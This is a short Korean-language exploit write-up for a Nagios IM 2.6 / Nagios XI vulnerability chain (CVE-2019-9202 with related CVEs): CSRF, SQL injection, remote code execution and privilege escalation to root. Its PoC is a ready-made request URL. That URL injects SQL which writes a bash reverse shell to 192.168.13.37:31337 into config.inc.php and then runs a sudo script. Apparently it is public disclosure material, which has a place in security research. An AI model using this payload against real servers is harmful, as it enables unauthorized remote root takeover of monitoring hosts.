CVE-2019-9202

Nagios IM 2.6 원격 코드 실행 익스플로잇: CSRF + SQLi + RCE + LPE --> 원격 루트

설명

CSRF(교차 사이트 요청 위조)/인증 우회(CVE-2019-9203)를 연결하여 Union 기반 SQL 인젝션(CVE-2019-9204), 원격 코드 실행(RCE)(CVE-2019-9202) 및 로컬 권한 상승(LPE)(CVE-2019-9166)을 악용하여 원격 Nagios XI 서버에서 루트 권한을 얻을 수 있습니다.

요구 사항

피해자는 Nagios XI에 인증된 상태여야 하며, 아는 한 최소 권한만으로도 충분합니다.

PoC

http://nagiosxi.local/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=&incident_id='union%20select%201,2,3,4,"';echo%20%27print%28\"bash+-i+%3e%26+/dev/tcp/192.168.13.37/31337+0%3e%261+%23\"%29%3b'%3e%3e+/usr/local/nagiosxi/html/config.inc.php%3b+sudo+/usr/local/nagiosxi/scripts/repair_databases.sh%3b%23",6,7,8,'x